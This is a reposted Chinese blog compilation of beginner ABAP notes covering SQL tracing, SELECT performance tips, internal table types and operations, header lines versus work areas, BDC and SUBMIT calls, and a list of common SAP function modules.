天天看點

很全的ABAP入門資料

文章轉自 http://blog.csdn.net/winterzhao00/article/details/5634126

1、ST05是用于在開發ABAP程式時,對應事務碼取得的字段是“資料結構”而不是“透明表”的時候,通過ST05的“SQL跟蹤”來獲得相關“Select”的語句;一般檢視“REC”列耗時比較多的“Select”語句;

2、跟蹤時如果有涉及到“數量”這類有對資料表進行更新或插入操作的,則直接去查Update和Insert的SQL語句;

3、在跟蹤後,直接輕按兩下“對象名”列的名稱,點選“表格字段”轉到“SE11”的表字段表;

4、ABAP程式開頭的Tables:“資料表名”,隻有在螢幕中有用到的表,才需要聲明;在程式中用到的表則不需要進行在Tables内聲名;

5、抓SAP“文本”字段的資料,要先自定義變量,然後通過SE37的函數“FUNCTION ’ZREAD_TEXT’”取回文本資料;

6、建立的ABAP程式,在測試運作的時候要先進行“激活”,才能測試運作;

7、SE93:把ABAP寫好的程式指定一個事務碼執行;

8、abap引号内的字元’’必須要是大寫;

9、ABAP select 裡面的語句,不能像mssql有那麼豐富的函數使用,需要導到内表後再對資料進行操作;

10、’EQ’是單個資料值,’BT’是between區間的意思。

11、在寫select inner join 裡面,要注意是否需要加上銷售組織的條件;on 條件1 and 銷售組織條件。

12、SELECTION-SCREEN,裡面有兩個子項,PARAMETERS和select-options。

PARAMETERS 一般是用于必輸項的螢幕參數設定,如果這個參數不是必輸項的,就要用select-options。在select ...where條件裡,用PARAMETERS的條件文法是“資料字段 = 螢幕字段”;而select-options的條件文法是“資料字段 in 螢幕字段”。

13、在where判斷一個日期型資料是空,不是DEAKT = ’’,也不是DEAKT is initial,而應該寫成DEAKT = ’00000000’ (8個0)。

14、一對多的inner join,如果取出的資料有重複,前面加上distinct,用法和MSSQL相同。

15、sy-subrc,指上一個語句執行是否成功;執行成功傳回0,執行不成功傳回非0。用if判斷。

16、如果一個語句中,該名稱同時可能代表内表或者同名表工作區,則需要在内表名稱之後加“[]”指明目前操作的是内表對象。不提倡使用帶有表頭行的内表,而是應該總是聲明結構相同的其他資料對象作為顯示工作區進行内表行操作。

如何調整ABAP程式的性能(copy)

1、使用where語句 

不推薦

Select * from zflight.

Check : zflight-airln = ‘LF’ and zflight-fligh = ‘BW222’.

Endselect.

推薦

Select * from zflight where airln = ‘LF’ and fligh = ‘222’.

Endselect.

2、使用聚合函數

不推薦

Maxnu = 0.

Select * from zflight where airln = ‘LF’ and cntry = ‘IN’.

Check zflight-fligh > maxnu.

Maxnu = zflight-fligh.

Endselect.

推薦

Select max( fligh ) from zflight into maxnu where airln = ‘LF’ and cntry = ‘IN’.

3、使用視圖代替基本表查詢

不推薦

Select * from zcntry where cntry like ‘IN%’. [Page]

Select single * from zflight where cntry = zcntry-cntry and airln = ‘LF’.

Endselect.

推薦

Select * from zcnfl where cntry like ‘IN%’ and airln = ‘LF’.

Endselect.

4、使用INTO table 代替select endselect

不推薦

Refresh: int_fligh.

Select * from zflight into int_fligh.

Append int_fligh. Clear int_fligh.

Endselect.

推薦

Refresh: int_fligh.

Select * from zflight into table int_fligh.

5、使用批量修改内表代替逐行修改

不推薦

Loop at int_fligh.

If int_fligh-flag is initial.

Int_fligh-flag = ‘X’.

Endif.

Modify int_fligh.

Endloop.

推薦

Int_fligh-flag = ‘X’.

Modify int_fligh transporting flag where flag is initial.

6、使用二分法查詢,提高查詢内表資料速度

不推薦

Read table int_fligh with key airln = ‘LF’.

推薦

Read table int_fligh with key airln = ‘LF’ binary search.

7、兩個内表添加使用批量增加代替逐行

不推薦

Loop at int_fligh1.

Append int_fligh1 to int_fligh2.

Endloop.

推薦

Append lines of int_fligh1 to int_fligh2.

8、使用table buffering

Use of buffered tables is recommended to improve the performance considerably. The buffer is bypassed while using the following statementsSelect distinct 

Select … for update 

Order by, group by, having clause 

Joins 

Use the Bypass buffer addition to the select clause in order to explicitly bypass the buffer while selecting the data.

9、 使用FOR ALL Entries

不推薦

Loop at int_cntry. Select single * from zfligh into int_fligh where cntry = int_cntry-cntry. Append int_fligh. Endloop.

推薦

Select * from zfligh appending table int_fligh

For all entries in int_cntry 

Where cntry = int_cntry-cntry.

10、正确地使用where語句,使查詢能使用索引When a base table has multiple indices, the where clause should be in the order of the index, either a primary or a secondary index

To choose an index, the optimizer checks the field names specified in the where clause and then uses an index that has the same order of the fields. One more tip is that if a table begins with MANDT, while an index does not, there is a high possibility that the optimizer might not use that index.

11、正确地使用MOVE語句

Instead of using the move-corresponding clause it is advisable to use the move statement instead. Attempt should be made to move entire internal table headers in a single shot, rather than moving the fields one by one.

12、正确地使用inner joinLet us take an example of 2 tables, zairln and zflight. The table zairln has the field airln, which is the airline code and the field lnnam, which is the name of the airline. The table zflight has the field airln, the airline code and other fields which hold the details of the flights that an airline operates. [Page]

Since these 2 tables a re logically joined by the airln field, it is advisable to use the inner join.

Select a~airln a~lnnam b~fligh b~cntry into table int_airdet

From zairln as a inner join zflight as b on a~airln = b~airln.

In order to restrict the data as per the selection criteria, a where clause can be added to the above inner join.

13、使用sort by 代替order by

14、避免使用SELECT DISTINCT語句

使用的 ABAP SORT + DELETE ADJACENT DUPLICATES 代替.

定義内表與工作區最友善的方法

*定義 名為 ITAB 的内表, 内表結構 參照表 TABLE 。

DATA: ITAB TYPE TABLE OF TABLE.

*定義 名為 WA 的工作區, 其 行結構與 内表 ITAB 相同 。

DATA: WA LIKE LINE OF ITAB.

----------------------------------------------------------------

1.使用occurs 0,定義的不再是對象,而是internal table 

2.使用with header line字尾,定義為internal table的同時也定義了一個同名對象,是以可以用以下語句: 

LOOP AT STH. 

WRITE: / STH. 

ENDLOOP. 

3.TYPE後面接結構,LIKE後面接對象 

4.OBLIGATORY為必輸字段 

5.DATA SEPARATER . = DATA SEPARATER TYPE C.

6.關于内表的結構描述,它的目前記錄資料是放在header line中的,Occurs 是配置設定資料緩沖區,大小不重要,系統會自動配置設定。但定義内表不用occurs就需要用with header line,occurs語句記得是為了向下相容。

7.occurs 指明的數量是有一點學問的. 

1.當你知道可能每次用Select命中或交換的紀錄數xxx時,可指明 occurs xxx. 

2.如用occurs 0 聲明時, buffers 由系統自動配置設定. 

8.SELECT 在into時記得一般都要加上table,不然是into一個工作區,即wa,而工作區要寫入内表,則需要再append,是以直接定放内表即可,内表和工作區的差別就在于工作區就相當于表頭,是有一行,data定義begin of itab時不加occurs就是工作區,加了就是内表,occurs *,後面表示系統初始配置設定給此内表多少行,每次滿時再多配置設定多少行,我們平常為了節約記憶體,一般直接用0,with header line是為了定義含表頭的内表,平常occurs就直接帶表頭,而with header line一般是在itab1 like itab occurs 0 with header line時用,這是參照一個内表定義另一内表,如果要帶表頭,一定要加with header line。 

你這樣問不是辦法,最好不懂時直接接F1,查到SAP的幫助即可. check是檢查後面的邏緝是否滿足,不滿足則在上例是跳出form,不的執行下面的語句。

說實在,初略的看了一下上面的程式,寫得太爛了,竟然将usr01或usr03透明表中的字段按條件取到一個表工作區,竟然不加single,象這種不加single的select按理說應該是調不過的,必須在後面再對應一個endselect,而這種select加endselect用每次去讀一次透明表,通路資料庫的次數太多了,換個好一點程式自己研究吧。

SAP ABAP PA certification 教育訓練筆記

P (4)  長度4個位元組

Xstring (10)  長度為10個位元組,可以容納20個數字

大結構體與小結構體的相容

Move 大 to 小  大的覆寫小的  大結構體的剩餘部分保持不變

Move 小 to 大  比對的部分 被小的覆寫, 其餘的字段被初始化

P 類型 與 F類型的優缺點

P:計算精确,适合商業結算,但範圍短

F:儲存範圍大,計算不精确

P 與 F 類型的運算方式

F IEEE 用二進制數進行運算

P 采用半位元組儲存一個數字的方式進行運算

字段 結構體 相容問題

1.  字段相容:類型和長度相同

2.  結構體:字段按順序相容,并且字段數相同

3.  内表相容:行類型相同, KEY 相容,表類型相同

如果字元串 move 到一個比字元串小的結構體 ,

[][][][] ---à [][]

[][]

一個字段 move 到一個 内表中

Internal table 内表.

1.  靜态資料對象包括: 簡單資料類型(除了string 和xstring 類型), 結構體(不包含string 和xstring 類型)

2.  動态資料對象:string , xstring , 包含string 或 xstring 的結構體, 内表

一個結構體是否可以包含STRING 或xstring,  如果可以 結構體可以拓展嗎?

定義一個 隻有一個字段的 内表 字段長度是c(18),

定義一個結構體 結構體裡 包含三個字段, 類型 随意,  第二個類型,是另一個結構體

定義一個内表 内表的行類型 是第一個結構體.

再用第二個結構體定義一個内表 ,利用這個内表 作為行類型,做一個内表

内表的三個基本屬性

1.  line type 行類型

2.  key definition 鍵類型

3.  table kind 表類型

1)  在standard table 中 使用 table key的查找方式為 table scan 全表掃描

2)  在 sorted table 中使用table key 在遵循; left-aligned 從左至右比對, no gaps 沒有間隔,使用”=” 填充字段時, 使用 二分查找法 ,其它情況下 使用 table scan查找

3)  對hash表通路, 隻能通過key通路單條記錄, 通路的速度不依賴于表中的資料量,而在其餘兩種表中,查詢的時間與表中資料量成正比

其它情況是否代表,隻是順序不符合left-aligned. 哈希表可以通過部分的key 進行通路嗎?

定義内表

1.  定義一個局部内表類型,通過該類型定義内表變量

2.  直接定義字段 直接定義内表變量(隐藏了一個内表類型)

3.  通過全局内表類型定義内表變量

标準的定義内表語句

Types or DATA name

TYPE table_kind

OF line_type

WITH key_def

[INITIAL SIZE n.]

Table kind and key. 表類型 和 表鍵

注意:在定義standard類型的内表時,如果使用 WITH DEFAULT KEY. 系統會自動将内表中的字元類型字段(c,n,d,t,x,string,xstring)組合成table key.

内表的key

1.  standard标準表: key 不唯一.

2.  sorted排序表: 可以指定KEY是否唯一

3.  Hash 哈希表: KEY必須是唯一

在内表中使用不是結構體類型的行類型

當内表的行類型隻有一列的時候,需要使用pseudo-compnent 僞列,

用途:設定一個按鈕工具欄,用隻含有一列的内表.

對内表的操作

1.  move對内表的拷貝

2.  clear 将資料清空

3.  free 釋放記憶體

4.  compare表之間的操作,比較

5.  sort 排序表

6.  array fetch

遞歸比較

1.  先對内表之間的行數進行比較

2.  如果有必有的話,還需要對行的元件進行比較

内表之間的比較

用行數比較, 有必要的話 可以 用内容比較

定義兩個内表  兩個 内表不相容 一個有3個字段 一個有5個

對兩個内表進行比較.

定義兩個内表, 結構一樣 , 變量不一樣

全做成數字型字段

第一個  添加 小數字

第二個内表 添加大數字

排序可以指定升序降序.

對内表具體操作

1.  Insert  插入

2.  Read  讀取

3.  Change 修改

4.  Delete 删除

5.  Insert summated collect. 插入累計

對内表中的資料行進行限制條件操作

對資料的通路

一、單條資料通路

1)  通過 table key通路

2)  通過 line index 通路(對于line index 類型内表)

3)  通過 condition條件通路

二、多條資料通路

1)  通過condition條件通路

2)  通過 index interval 通過行區間通路

指定通路資料的傳輸方式

1.  使用 結構體 work area 進行 copy 對内表資料進行操作

2.  定義 field symblo 指針 指向通路資料,(可以直接通路資料)

3.  通過将内表插入内表的操作

重要: 不能通過line index 對hash 表 進行通路, 在排序表中插入資料.除非插入的位置正好是排序表中規定的位置,否則會出現 運作期異常(強烈不推薦使用insert往 sorted b表中插入資料)

Field symbol 指針

作用: 直接對内表進行操作,而不用再重新定義結構體對目标内表資料進行拷貝, 增大了效率.

定義指針文法:

Data: var_a TYPE I VALUE 4.

FIELD-SYMBOLS: <fs> TYPE i.

ASSIGN var_a TO <fs>.

<fs> = 77.

重要: 定義的指針名,必須加”<>”

Insert 插入操作

一、  單條資料的插入操作

1)  标準表: 可以使用 index (推薦) 和 table key 方式插入

2)  排序表: 可以通過 table key方式插入 , 但也可以用index插入(強烈不推薦, 很有可能出現運作錯誤)

3)  Hash表: 隻能夠用table key 方式插入

二、  多條記錄的插入

1)  源内表為 index table : 則可以指定源内表的資料範圍,并插入到目标内表中

2)  目标内表為index table: 則可以可以指定目标内表被插入資料的具體index 位置.

具體的語句插入文法:

Insert wa INTO TABLE itab.  單條插入不指定位置

Insert wa INTO itab INDEX n.  單條插入指定插入位置

INSERT LINES OF itab1

[from n1 to n2]

INTO TABLE itab2.

INTO itab2 [ INDEX n]

讀取 内表的一條 将資料 讀到結構體中

如果系統獨到行  sy-subrc = 0 . 然後讀取到結構體中,

Sy-tfill 存放總行數

Sy-tleng 行的長度

Transporting

指定特定列 傳輸字段  ,  傳送部分字段

TRANSPORTING NO Fields 不傳值, 作用 ,看内表中 有沒有 這條資料

Camparing

有一個結構體 和内表

C1 C2 C3

Lh 0019 17

Lh 0018 18

通過comparing 後的值, 可以判斷讀取的值是否符合要求.

現在結構體中需要比較的字段指派,

先判斷 相應字段是否相等

回去做個練習

比較成功 sy-subrc = 0

Zmycompare_2009

用一個結構作為 查詢條件,

到内表查詢符合條件的資料

With key 可以用 table key 或 普通字段作為條件

使用field symbol

通過一個内表  定義一個 結構體 作為 指針

Read table itab [index n / key ] assigning <fs>.

Write: / <fs>-field_1.

直接修改 <fs> 的值 會怎麼樣?

Change 修改内表

Transporting  的 傳輸方向

通過 field symbol

直接修改 内表

重要: 不能直接指針對sorted 和 hash表進行操作

Delete

Delete table itab key

Key:  from wa ()

With table key k1 = f1….

不能用sort 對排序表進行排序

對 sorted 表進行 insert modify , 使用不當 可能會出錯

HASH表不能通過 index 進行操作

Header line

With head line 關鍵字定義  廢棄用法

Occur + 整數, 10 ,

Occur 0 , 預設大小,

Occur 0 with head line  廢棄用法了

重要: 在面向環境中 不能用帶有 head line 的内表

Data: so_carr LIKE RANGE OF carrid.

Loop 内表

Where 條件 從起始點二分查找

标準表 可以部分指定順序

From 1 to 5

對于一個标準表來說, 加上二分查找  是不是 先排序

先把标準表 排序, 然後再二分

必須先手工排序,再進行二分查找

0:23 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月5日

sap abap programming---關于ABAP内表(about abap internal table)

1. 内表的類型及定義:

(1).ANY TABLE:即任意表類型,此種定義方式隻能在傳遞參數的時候定義。

例如:FORM XXX USING/CHANGING TYPE ANY TABLE .

(2).ANY TABLE包括了兩種類型:INDEX TABLE和HASHED TABLE 。

《1》.INDEX TABLE:包括了STANDARD TABLE和SORTED TABLE

A. STANDARD TABLE:其實就是一個線性表,通過key通路内表是線性查找的,也就是說,随着表中記錄的增加,對表的

操作的時間開銷也相應的增加。

定義方法:TYPES/DATA: LIKE/TYPE STANDARD TABLE OF .

B. SORTED TABLE:顧名思義,表中的記錄是按照一定的順序排列的。通路表的主要方式是表中定義的key,如果key不唯

一,則選擇index最小的那個。也可以通過index來通路排序表,如果你想通過index插入一條記錄,系統會自動檢查你插入的

位置是否正确。是以,如果插入的時間比插入到标準表的時間會長。是以,盡量選擇key來對排序表進行操作。

定義方法:TYPES/DATA: LIKE/TYPE SORTED TABLE OF .

《2》.HASHED TABLE:對哈希表隻能用你定義的key進行操作,而不能使用index進行操作。是以,定義哈希表必須定義unique

key 。注意:所有關于使用index操作表的語句都不能用于操作哈希表。例如:sort,loop等。

定義方法:TYPES/DATA: LIKE/TYPE HASHED TABLE OF .

2. 内表的操作:

(1).建立:

A. 定義一個結構,然後type/like這個結構

例如:

TYPES: BEGIN OF ,

...

i> ...,

...

END OF .

DATA TYPE STANDARD TABLE OF

WITH NON-UNIQUE DEFAULT KEY

INITIAL SIZE

WITH HEADER LINE.

B. type/like系統表或者資料庫表或者結構

DATA TYPE STANDARD TABLE OF <系統表名>

INITIAL SIZE

WITH HEADER LINE.

(2).添加資料:

A.APPEND:直接向表中添加資料

1. APPEND [wa TO|INITIAL LINE TO] itab[ASSIGNING |REFERENCE INTO dref].

2. APPEND LINES OF itab1 [FROM idx1] [TO idx2] TO itab2.

3. APPEND [wa TO] itab SORTED BY f [ASSIGNING

B.向表中插入資料:

1. INSERT [wa INTO|INITIAL LINE INTO] itab [INDEX idx] [ASSIGNING |REFERENCE INTO dref].

2. INSERT [wa INTO|INITIAL LINE INTO] TABLE itab [ASSIGNING |REFERENCE INTO dref].

3. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO itab2 [INDEX idx3].

4. INSERT LINES OF itab1 [FROM idx1] [TO idx2] INTO TABLE itab2.

C.相同字段求和向表裡添加:

Basic form

COLLECT [wa INTO] itab.

Extras:

1. ... ASSIGNING

2. ... REFERENCE INTO dref

3. ... SORTED BY f

(3).删除資料:

1. DELETE itab.

2. DELETE TABLE itab WITH TABLE KEY k1 = v1 ... kn = vn.

3. DELETE TABLE itab [FROM wa].

4. DELETE itab INDEX idx.

5. DELETE itab FROM idx1 TO idx2.

6. DELETE itab WHERE logexp.

7. DELETE ADJACENT DUPLICATES FROM itab.

(4).修改資料:

1. MODIFY itab [FROM wa] [INDEX idx] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].

2. MODIFY TABLE itab [FROM wa] [ASSIGNING |REFERENCE INTO dref] [TRANSPORTING f1 ... fn].

3. MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond.

23:52 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap --- ABAP 内表(internal table) 标題行(header line) 工作區(work area) 簡介 OCCURS 0

剛開始學ABAP的時候,學到iternal table時,感覺一陣混亂.

搞不清楚什麼是work area,什麼是header line,以及occurs是幹什麼用的.

今天終于差不多搞明白了(我還是太弱啊...BS自己一下)

是以還是記錄下來..省得自己以後再忘記...

先是用TYPES關鍵字定義一個行(row)的類型.如下:

TYPES: BEGIN OF line,

  field1 TYPE i,

  field2 TYPE i,

END OF line.

這裡的line,就相當于一個自定義的類型,表示一行(row)的字段(field).

這裡一行有兩個字段field1和field2.

然後是聲明一個work area:

DATA wa TYPE line.

我用C++(還是對cpp最有好感^^)的概念了解就是,

line是一個class,而wa是一個object.

接着是聲明一個每一行的類型是line的internal table:

DATA itab TYPE line OCCURS 0.

我在暫時把OCCURS作為了差別工作區和内表的标志.

OCCURS應該有更深層次的意義,但我目前隻能領悟至此...

當我們用以上這個方法來聲明一個iternal table時,可以選擇是否有無header line.

上面這句就是沒有header line的.改成如下就有了:

DATA itab TYPE line OCCURS 0 WITH HEADER LINE.

有無header line的差別就是,header line可以當作一個work area來使用(參照我之前的一個日志).

有一下兩種方式操作itab:

1).

wa-field1 = 1.

wa-field2 = 2.

APPEND wa TO itab.

2).

itab-field1 = 1.

itab-field2 = 2.

APPEND itab.

這裡wa就是上面那個已經定義的work area.

有header line的時候,這兩種都可以.

無header line的時候,隻能用第1種.

第2種裡,itab的意義是一個header line,而不是内表.

因為"DATA itab TYPE line OCCURS 0 WITH HEADER LINE."這樣的聲明,

已經隐式聲明了一個與内表同名的header line.

是以OCCURS用來聲明内表可能造成二義性(ambiguous).

于是,OCCURS被認為是old的東西,采用一下方式聲明一個内表比較好:

DATA itab TYPE STANDARD TABLE OF line.

還有一種聲明内表的方法:

DATA: BEGIN OF itab OCCURS 0,

              field1 TYPE i,

              field2 TYPE i,

           END OF itab.

這樣的itab就自動有了一個同名的header line.

好像不會有 WITHOUT HEADER LINE 或者 NOT WITH HEADER LINE 這樣的用法...

如果沒有OCCURS 0,比如這樣:

DATA: BEGIN OF itab,

              field1 TYPE i,

              field2 TYPE i,

          END OF itab.

那麼這個itab就不是内表咯,隻是一個structure,可以作為itab的work area.

寫到這裡發現,歸根到底就是TYPES和DATA這兩個關鍵字的差別嘛.

還有有無OCCURS的差別.

這樣一想,簡單明了~~

OCCURS 是在3.0以前申明内表的關鍵字。意思是内表初始的時候有多少行。現在不提倡使用。看到了認識就行。

=======================================================

ABAP Work Area & Header Line -

1. Difference between Work Area and Header Line

    工作區與标題行的不同之處

原文位址:

http://www.sap-img.com/abap/difference-between-work-area-and-header-line.htm

我翻譯下,嘿嘿

在對内表進行一些操作的時候,比如增加或者取回一條記錄.我們必須暫時儲存這條記錄.

這條記錄就儲存在内表的工作區裡(work area).内表的工作區必須和内表有相同的結構.

内表由主體(body)和一個可選的标題行(head line)組成.

标題行是一個隐式的(implicit)工作區.在内表聲明的時候,可以選擇有無标題行.

e.g.

data: begin of itab occurs 10,

        ab type c,

        cd type i,

      end of itab.

這樣的内表itab,是有标題行的.

data: wa_itab like itab.

這樣的wa_itab是顯式(explicit)聲明的一個itab的工作區.

data: itab1 like itab occurs 10.

這樣的内表itab1,是沒有标題行的.

标題行是一個和内表主體有着一樣結構的字段的串,标題行隻有一行.

是以,标題行相當于一個緩沖區(buffer),用于存放被操作的紀錄,是内表的預設的工作區.

2. Using Header Lines as Work Areas

    把标題行當工作區來使用

原文位址: 

http://help.sap.com/saphelp_nw04/helpdata/en/fc/eb36a1358411d1829f0000e829fbfe/content.htm

我再翻譯下...

當你在建立一個内表的時候,你同時也聲明了一個具有相同名稱的标題行(這個好像很奇特的樣子麼...).可以把這個标題行當作工作區來對内表進行操作.

如果一個内表有标題行,則對其進行操作的ABAP語句會簡短一些,因為這些語句會自動認為标題行是一個隐式的工作區.語句的不同如下表:

Operations without header line

Operations with header line

Operations for all Table Types

INSERT INTO TABLE .

INSERT TABLE ITAB.

COLLECT INTO .

COLLECT .

READ TABLE ... INTO .

READ TABLE ...

MODIFY TABLE FROM ...

MODIFY TABLE ...

MODIFY FROM ...WHERE ...

MODIFY ... WHERE ...

DELETE TABLE FROM .

DELETE TABLE .

LOOP AT ITAB INTO ...

LOOP AT ITAB ...

Operations for Index Tables

APPEND TO .

APPEND .

INSERT INTO ...

INSERT ...

MODIFY FROM ...

MODIFY ...

但是,用隐式的工作區,代碼難以被了解,是以還是用一個不同名稱的工作區比較好.

=======================================================

溝通再溝通

msn:[email protected]

22:47 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap abap---通過例子學習ABAP--初始化内表 清空内表

初始化内表的作用是清空内表所有的資料行,将内表恢複到填充或指派之前的狀态。初始化内表過程中需要注意之處仍然是初始化無 表頭行内表和有表頭行内表的差別,以及初始化内表和表頭行的差別。

(1)CLEAR    ITAB.       同時清空表頭和行内表的值

(2)CLEAR    ITAB.       隻清空内表本身的值,保留表頭行的值。

(3)REFRESH I   TAB     隻清空内表本身的值,保留表頭行的值。

(4)FREE    ITAB.            隻清空内表本身的值,保留表頭行的值。

DATA: BEGIN OF line,

         col1(1) TYPE c,

         col2(1) TYPE c,

END OF line.

DATA itab LIKE TABLE OF line WITH HEADER LINE.

line-col1 = 'A'. line-col2 = 'B'.

APPEND line TO itab.

loop at itab.

write : itab-col1.

endloop.

clear itab.  "在這裡可以嘗試CLEAR ITAB[],FREE ITAB,REFRESH ITAB,看看效果是不是如上所說這樣。

IF itab IS INITIAL.

WRITE 'ITAB is empty'.

ENDIF.

很多程式BUG,就是這一類 不起眼的東西引起的~

*********************************************************************

*-------- Clear & Refresh Internal Table. -------------------------

*********************************************************************

1. with headerline.

CLEAR itab.        : Clear the headerline of the Internal Table only.

CLEAR itab[].        : Clear the contents of the Internal Table except the headerline.

REFRESH itab.        : Same as CLEAR itab[].

REFRESH itab[].       : Same as CLEAR itab[].

2. without headerline. ( all four commands have same functionality )

CLEAR itab.        : Clear all contents of the Internal Table.

CLEAR itab[].        : Same as CLEAR itab.

REFRESH itab.        : Same as CLEAR itab.

REFRESH itab[].        : Same as CLEAR itab.

如何一次性的給内表的一列指派,不用LOOP循環來做,比如把第一列都給設定成空.

CLEAR 對應工作區清空

MODIFY 内表 FROM 内表對應工作區 

TRANSPORTING 修改字段

WHERE 修改字段 <> SPACE.

MODIFY itab [FROM wa] TRANSPORTING f1 ... fn WHERE cond

這句話的意思是凡是内表itab中滿足條件cond的記錄都被工作區wa的資料修改,修改的字段是f1...fn

22:28 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月4日

sap abap programming----CALL TRANSACTION USING bdc_tab for Data Transfer

http://help.sap.com/saphelp_sm32/helpdata/en/fa/09715a543b11d1898e0000e8322d00/frameset.htm

DATA: it_bdcdata TYPE TABLE OF bdcdata,

      wa_bdcdata TYPE bdcdata.

wa_bdcdata-program = 'SAPLBTCH'.

wa_bdcdata-dynpro = '2170'.

wa_bdcdata-dynbegin = 'X'.

APPEND wa_bdcdata TO it_bdcdata.

CLEAR wa_bdcdata.

wa_bdcdata-fnam = 'BTCH2170-JOBNAME'.

wa_bdcdata-fval = '*'.

APPEND wa_bdcdata TO it_bdcdata.

wa_bdcdata-fnam = 'BTCH2170-USERNAME'.

wa_bdcdata-fval = sy-uname.

APPEND wa_bdcdata TO it_bdcdata.

CALL TRANSACTION 'SM37' USING it_bdcdata.

--------------------------------------------------------

Submit to executable program via selection options

--------------------------------------------------------

SUBMIT zrmm0001 VIA SELECTION-SCREEN

    AND RETURN

    WITH p_matnr = itab-matnr

    WITH p_werks = itab-werks

    WITH p_lgort = itab-lgort

    WITH s_charg = itab-charg

    WITH p_num = p_label

    WITH p_dest = p_print.

----------------------------------------------------------

Submit to program which not has selection screen

----------------------------------------------------------

SET PARAMETER ID 'RBN' FIELD S_ARSEG-BELNR.

SET PARAMETER ID 'GJR' FIELD S_ARSEG-GJAHR.

CALL TRANSACTION 'MIR4' AND SKIP FIRST SCREEN.

18:11 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap abap programming----execute--Call Underlying Database Store Procedure in ABAP

摘自sapguys.cn群中Robbin和徐的交流

1. 配置個外部DB, T-code為: DB59, DB50N, 測試連接配接

2. 執行Native SQL

eg:

EXEC SQL.

  EXECUTE PROCEDURE EAI_ETL_CONTROL(IN :XX1,IN :XX2,IN :wa_datet_update,IN :XX3,OUT :YY1)

ENDEXEC.

18:09 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

sap ABAP 常用函數(sap abap function)

RS_VARIANT_VALUES_TECH_DATA

可以傳回一個内表, 裡面存的是PARAMETER SELECT-OPTION的名字 以及對應的值. 可用于background job中對vaiant的修改.

函數名 描述

SD_VBAP_READ_WITH_VBELN 根據銷售訂單讀取表vbap中的資訊

EDIT_LINES 把READ_TEXT傳回的LINES中的行按照TDFORMAT=“*”重新組織

VIEW_MAINTENANCE_CALL 維護表視圖

函數名 描述

DY_GET_FOCUS 獲得螢幕焦點

DY_GET_SET_FIELD_VALUE 獲得或者設定螢幕字段的值

函數名 描述

F4IF_INT_TABLE_VALUE_REQUEST 顯示檢索help

READ_TEXT 讀取長文本

CONVERSION_EXIT_CUNIT_OUTPUT 機關轉換

SJIS_DBC_TO_SBC 全角轉半角

SJIS_SBC_TO_DBC 半角轉換為全角

CO_R0_CHECK_DECIMAL_POINT 根據機關檢查資料的小數位

POSTAL_CODE_CHECK 檢查郵政編碼

函數名 描述

CONVERSION_EXIT_ALPHA_INPUT 全數字則在前面補0

CONVERSION_EXIT_ALPHA_INPUT 和上面相反

GET_JOB_RUNTIME_INFO 獲得job相關資訊

TERMINAL_ID_GET 獲得端末id

DATE_CONVERT_TO_FACTORYDATE 把輸入日期轉為工廠月曆日期

MESSAGE_TEXT_BUILD 把消息轉為文本

函數名 描述

POPUP_TO_CONFIRM 彈出确認視窗

函數名 描述

CONVERSION_EXIT_MATN1_INPUT 物料号碼轉換函數

CONVERSION_EXIT_MATN1_OUTPUT 同上相反

CONVERT_TO_LOCAL_CURRENCY 按照指定日期匯率轉換金額為指定貨币類型

SSF_FUNCTION_MODULE_NAME 根據form名取得對應的函數名(SmartForm)

函數名 描述

DATE_CHECK_PLAUSIBILITY 日期CHECK

cl_gui_frontend_services=>gui_upload 上傳到伺服器

cl_gui_frontend_services=>gui_download 下載下傳到服本地

SSF_FUNCTION_MODULE_NAME SMARTFORMS輸出報表時,生成一個函數名稱,然後CALL這個名稱

函數名 描述

POPUP_TO_DECIDE_LIST 彈出供選擇視窗

ABAP_DOCU_DOWNLOAD – 以HTML格式下載下傳ABAP文檔。

ARFC_GET_TID – 以十六進制形式傳回終端的IP位址。

BAL_* -容納了SAP的應用程式日志所有的函數子產品。

BP_EVENT_RAISE –在 ABAP/4 程式中觸發一個事件。

BP_JOBLOG_READ –獲得job log的執行結果。

CLOI_PUT_SIGN_IN_FRONT – 将負号前置, SAP預設将負号放在數字後面。

CLPB_EXPORT –從内表導入到剪貼闆。

CLPB_IMPORT – 從剪貼闆導入内表。

COMMIT_TEXT -To load long text into SAP 。

CONVERSION_EXIT_ALPHA_INPUT - 數字串前補0

example:

input = 123

output = 0000000000000。。。000000000000123

CONVERSION_EXIT_ALPHA_OUTPUT – 消除數字串前的0

example:

input = 00000000000123

output = 123

CONVERT_OTF – 将SAP文檔(SAP Script)轉換成其他類型。

example:

CALL FUNCTION 'CONVERT_OTF'

EXPORTING

FORMAT = 'PDF'

IMPORTING

BIN_FILESIZE = FILE_LEN

TABLES

OTF = OTFDATA

LINES = PDFDATA

EXCEPTIONS

ERR_MAX_LINEWIDTH = 1

ERR_FORMAT = 2

ERR_CONV_NOT_POSSIBLE = 3

OTHERS = 4.

DATE_GET_WEEK – 傳回一個日期所在的周數。

DATE_CHECK_PLAUSIBILITY – 檢查一個日期是否是SAP的有效格式。

DYNP_VALUES_READ – 讀取SCREEN字段的值,也可以用來讀取報表SELECTION SCREEN。

DYNP_VALUES_UPDATE -更新螢幕字段的值。

ENQUE_SLEEP –在繼續處理之前等待一個指定的時間。

ENQUEUE_ESFUNCTION – 鎖定一個ABAP程式使它不可以被執行:

RELID = 'ZZ'

SRTF2 = 0

SRTF = (your report name)

注意不要用SY-REPID來傳遞你的報表名字,當把SY-REPID作為參數傳遞給函數子產品的時候,SY-REPID的值實際上已經發生了變化。

EPS_GET_FILE_ATTRIBUTES – 獲得檔案屬性。

EPS_GET_DIRECTORY_LISTING – 傳回一個本地或網絡目錄的檔案清單。

F4_DATE - 彈出一個視窗顯示一個月曆允許使用者選擇一個日期。

F4IF_SHLP_EXIT_EXAMPLE – F4接口子產品。

FILENAME_GET – 彈出一個檔案選擇對話框。

DATA out(60) TYPE c.

CALL FUNCTION 'FILENAME_GET'

  EXPORTING

    filename = 'c:/1.txt'

    title    = 'GET FILENAME'

  IMPORTING

    filename = OUT.

FTP_CONNECT    – 打開并登陸FTP伺服器的連接配接。

FTP_COMMAND    – 在FTP伺服器上執行一個指令。

